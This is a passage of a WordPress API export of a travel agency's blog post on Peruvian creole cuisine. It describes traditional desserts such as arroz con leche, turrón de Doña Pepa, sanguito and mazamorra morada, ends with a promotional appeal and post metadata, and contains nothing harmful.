https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Arroz con leche<\/strong><\/h3>\n\n\n\n<p>Yes, we know that almost every Latin American country has its own version, but the Peruvian one is the best. On top of that, every region has its own preparation technique. When in Peru, it\u2019s a must for not only those who have a sweet tooth.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=697%2C465&#038;ssl=1\" alt=\"turron\" class=\"wp-image-10486 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Turron<\/strong><\/h3>\n\n\n\n<p>The Do\u00f1a Pepa nougat is also related to the \u201c<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lord-of-the-miracles-everything-you-need-to-know\/\"><strong>Lord of the Miracles<\/strong><\/a>\u201d event. The legend says that an Afro-Peruvian slave traveled to Lima to find mobility in both her arms.&nbsp; Eventually, she regained the ability in her arms, and she dreamed up a recipe for a dessert that later she\u2019d call \u201cturron de do\u00f1a Pepa\u201d (don\u2019t mistake, it\u2019s not the piggy one).<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"393\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sanguito-sanroque-1.webp?resize=697%2C393&#038;ssl=1\" alt=\"Sanguito picture\" class=\"wp-image-13323 size-full\" style=\"object-position:45% 67%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sanguito-sanroque-1.webp?resize=1024%2C577&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sanguito-sanroque-1.webp?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sanguito-sanroque-1.webp?resize=768%2C433&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sanguito-sanroque-1.webp?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Sanguito&nbsp;<\/strong><\/h3>\n\n\n\n<p>This traditional dessert has a close link with colonial Lima and the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/limas-pregoneros-the-voices-that-brought-a-city-to-life\/\"><strong>pregoneros<\/strong><\/a>. Although its preparation is very simple, with cornmeal and \u201cchancaca\u201d (a kind of hardened sugar with spices), Peruvians love it. German Reyna is the last \u201cpregonero\u201d alive, offering sanguitos through Lima\u2019s colonial streets.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?resize=600%2C400&#038;ssl=1\" alt=\"mazamorra morada\" class=\"wp-image-13494 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?w=600&amp;ssl=1 600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Mazamorra<\/strong><\/h3>\n\n\n\n<p>Made from purple corn, mazamorra morada is a fruity, purple, and aromatic <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\"><strong>traditional Peruvian dessert<\/strong><\/a>. Although people eat it a lot during \u201cThe Lord of the Miracles\u201d celebrations, Peruvians love it all year.<\/p>\n<\/div><\/div>\n\n\n\n<p><strong>Did you know? <\/strong>People call the mix between arroz con leche and mazamorra \u201cclasico\u201d or combinado.\u201d It\u2019s just delicious!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More than just food<\/strong><\/h2>\n\n\n\n<p>In conclusion, Peruvian creole cuisine is a living legacy, passed down for generations and enriched by a fusion of cultures over the centuries.&nbsp;<\/p>\n\n\n\n<p>This unique blend gave rise to culinary gems like<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/nikkei-peruvian-cuisine-the-peruvian-japanese-fusion\/\"> <strong>Nikkei cuisine<\/strong><\/a>, where Japanese flavors meet Peruvian ingredients, and Chifa, a delicious mix of Chinese techniques with local traditions.<\/p>\n\n\n\n<p>But criolla food is more than just savory dishes\u2014it\u2019s also about indulgent desserts and<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-traditional-drinks-must-try-beverages\/\"> <strong>traditional drinks<\/strong> <\/a>that complete the experience.<\/p>\n\n\n\n<p> Next time you enjoy classics like <em>aj\u00ed de gallina<\/em>, <em>lomo saltado<\/em>, or even <em>cuy<\/em> (guinea pig), pair them with a refreshing Pisco Sour for the ultimate taste of Peru.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Are you ready to explore the flavors of this extraordinary cuisine? So, let <strong>Viagens Machu Picchu<\/strong> guide you on a tailor-made culinary adventure!<\/p>\n\n\n\n<p><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>Contact<\/strong><\/a><strong> <\/strong>our specialists today for exclusive tours, promotions, and the best travel deals. Your Peruvian food experience awaits\u2014don\u2019t miss out!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Peruvian Creole cuisine fuses Indigenous, Spanish, African, and Asian flavors. Iconic dishes like lomo saltado, aj\u00ed de gallina, and causa highlight this culinary mix. The aderezo base enhances taste, making cocina criolla a flavorful symbol of Peru\u2019s heritage.<\/p>\n","protected":false},"author":1,"featured_media":13753,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,1850,1519,3495],"tags":[3888,3374,1914,1917,5205,5203,1769,1261,5067,4730,4995,3086,1241,1145,3071,944,2899,3073,1884,5202],"class_list":["post-13736","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-food","category-peru","category-peruvian-flavors","tag-ancient-peruvians","tag-arroz-con-pato","tag-boiled-eggs","tag-boiled-potatoes","tag-chinese-foods","tag-de-gallina","tag-guinea-pigs","tag-lomo-saltado","tag-manjar-blanco","tag-nikkei-cuisine","tag-papa-a-la-huancaina","tag-peruvian-cooking","tag-peruvian-cuisine","tag-peruvian-food","tag-peruvian-ingredients","tag-pisco-sour","tag-soy-sauce","tag-stir-fry-2","tag-sweet-potatoes","tag-varieties-of-potatoes"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/RQP3G62RDRC4FGZXLWMKFMUPDQ.jpg?fit=2000%2C1333&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3zy","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13736","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=13736"}],"version-history":[{"count":7,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13736\/revisions"}],"predecessor-version":[{"id":17507,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13736\/revisions\/17507"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/13753"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=13736"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=13736"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=13736"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}